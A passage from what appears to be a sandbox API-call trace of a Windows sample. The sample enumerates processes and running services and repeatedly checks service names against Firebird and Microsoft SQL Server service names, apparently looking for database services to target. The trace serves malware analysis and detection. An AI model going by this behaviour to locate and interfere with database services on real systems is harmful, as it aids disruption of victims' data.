(lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0195.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0195.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0195.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0195.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0195.407] lstrlenW (lpString="ProfSvc") returned 7 [0195.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0195.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0195.407] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0195.407] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0195.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0195.408] lstrlenW (lpString="RpcEptMapper") returned 12 [0195.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.408] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0195.408] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0195.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0195.408] lstrlenW (lpString="RpcSs") returned 5 [0195.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0195.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0195.408] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0195.408] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0195.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0195.408] lstrlenW (lpString="SamSs") returned 5 [0195.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0195.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0195.408] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0195.408] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0195.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0195.408] lstrlenW (lpString="Schedule") returned 8 [0195.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0195.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0195.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0195.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0195.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0195.408] lstrlenW (lpString="SecurityHealthService") returned 21 [0195.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0195.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0195.409] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0195.409] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0195.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0195.409] lstrlenW (lpString="SENS") returned 4 [0195.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0195.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0195.409] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0195.409] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0195.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0195.409] lstrlenW (lpString="ShellHWDetection") returned 16 [0195.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.409] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0195.409] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0195.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0195.409] lstrlenW (lpString="Spooler") returned 7 [0195.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0195.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0195.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0195.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0195.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0195.409] lstrlenW (lpString="StateRepository") returned 15 [0195.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0195.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0195.409] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0195.409] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0195.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0195.410] lstrlenW (lpString="SysMain") returned 7 [0195.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0195.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0195.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0195.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0195.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0195.410] lstrlenW (lpString="SystemEventsBroker") returned 18 [0195.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0195.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0195.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0195.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0195.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0195.410] lstrlenW (lpString="Themes") returned 6 [0195.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0195.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0195.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0195.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0195.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0195.410] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0195.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0195.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0195.410] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0195.410] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0195.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4663fc0 | out: hHeap=0x710000) returned 1 [0195.411] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x458 [0195.630] Process32FirstW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.632] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0195.633] lstrlenW (lpString="System") returned 6 [0195.633] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0195.634] lstrlenW (lpString="smss.exe") returned 8 [0195.634] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.635] lstrlenW (lpString="csrss.exe") returned 9 [0195.635] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0195.636] lstrlenW (lpString="wininit.exe") returned 11 [0195.636] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.637] lstrlenW (lpString="csrss.exe") returned 9 [0195.637] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0195.638] lstrlenW (lpString="winlogon.exe") returned 12 [0195.638] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0195.639] lstrlenW (lpString="services.exe") returned 12 [0195.639] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0195.640] lstrlenW (lpString="lsass.exe") returned 9 [0195.640] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0195.641] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0195.641] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0195.642] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0195.642] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.643] lstrlenW (lpString="svchost.exe") returned 11 [0195.643] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.644] lstrlenW (lpString="svchost.exe") returned 11 [0195.644] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0195.645] lstrlenW (lpString="dwm.exe") returned 7 [0195.645] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.646] lstrlenW (lpString="svchost.exe") returned 11 [0195.646] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.656] lstrlenW (lpString="svchost.exe") returned 11 [0195.656] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.657] lstrlenW (lpString="svchost.exe") returned 11 [0195.658] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.658] lstrlenW (lpString="svchost.exe") returned 11 [0195.659] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.660] lstrlenW (lpString="svchost.exe") returned 11 [0195.660] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.661] lstrlenW (lpString="svchost.exe") returned 11 [0195.661] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.662] lstrlenW (lpString="svchost.exe") returned 11 [0195.662] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.663] lstrlenW (lpString="svchost.exe") returned 11 [0195.663] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.664] lstrlenW (lpString="svchost.exe") returned 11 [0195.664] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.665] lstrlenW (lpString="svchost.exe") returned 11 [0195.665] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0195.666] lstrlenW (lpString="spoolsv.exe") returned 11 [0195.666] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.667] lstrlenW (lpString="svchost.exe") returned 11 [0195.667] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0195.668] lstrlenW (lpString="audiodg.exe") returned 11 [0195.668] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0195.668] lstrlenW (lpString="sihost.exe") returned 10 [0195.668] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.669] lstrlenW (lpString="svchost.exe") returned 11 [0195.669] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0195.670] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0195.670] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0195.671] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0195.671] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0195.672] lstrlenW (lpString="Memory Compression") returned 18 [0195.672] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0195.672] lstrlenW (lpString="taskhostw.exe") returned 13 [0195.672] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0195.673] lstrlenW (lpString="msoia.exe") returned 9 [0195.673] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0195.674] lstrlenW (lpString="explorer.exe") returned 12 [0195.674] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0195.675] lstrlenW (lpString="SearchUI.exe") returned 12 [0195.675] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0195.676] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0195.676] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0195.676] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0195.676] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0195.677] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0195.677] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0195.789] lstrlenW (lpString="wmxsde.exe") returned 10 [0195.789] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0195.790] lstrlenW (lpString="dllhost.exe") returned 11 [0195.790] Process32NextW (in: hSnapshot=0x458, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0195.791] CloseHandle (hObject=0x458) returned 1 [0195.791] Sleep (dwMilliseconds=0x1f4) [0196.498] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f470 [0196.499] EnumServicesStatusExW (in: hSCManager=0x459f470, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0196.500] GetLastError () returned 0xea [0196.500] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4663fc0 [0196.501] EnumServicesStatusExW (in: hSCManager=0x459f470, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4663fc0, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4663fc0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0196.503] CloseServiceHandle (hSCObject=0x459f470) returned 1 [0196.503] lstrlenW (lpString="Appinfo") returned 7 [0196.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0196.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0196.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0196.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0196.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0196.503] lstrlenW (lpString="AppXSvc") returned 7 [0196.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0196.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0196.503] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0196.503] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0196.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0196.503] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0196.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0196.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0196.504] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0196.504] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0196.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0196.504] lstrlenW (lpString="Audiosrv") returned 8 [0196.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0196.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0196.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0196.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0196.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0196.504] lstrlenW (lpString="BFE") returned 3 [0196.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0196.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0196.504] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0196.504] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0196.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0196.504] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0196.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0196.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0196.504] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0196.504] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0196.504] 